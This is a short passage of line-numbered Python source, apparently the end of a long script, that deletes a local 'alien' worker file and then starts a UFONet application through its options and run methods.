  4152. if os.path.exists('alien') == True:
  4153. os.remove('alien') # remove random alien worker
  4154. return
  4155. if __name__ == "__main__":
  4156. app = UFONet()
  4157. options = app.create_options()
  4158. if options:
  4159. app.run()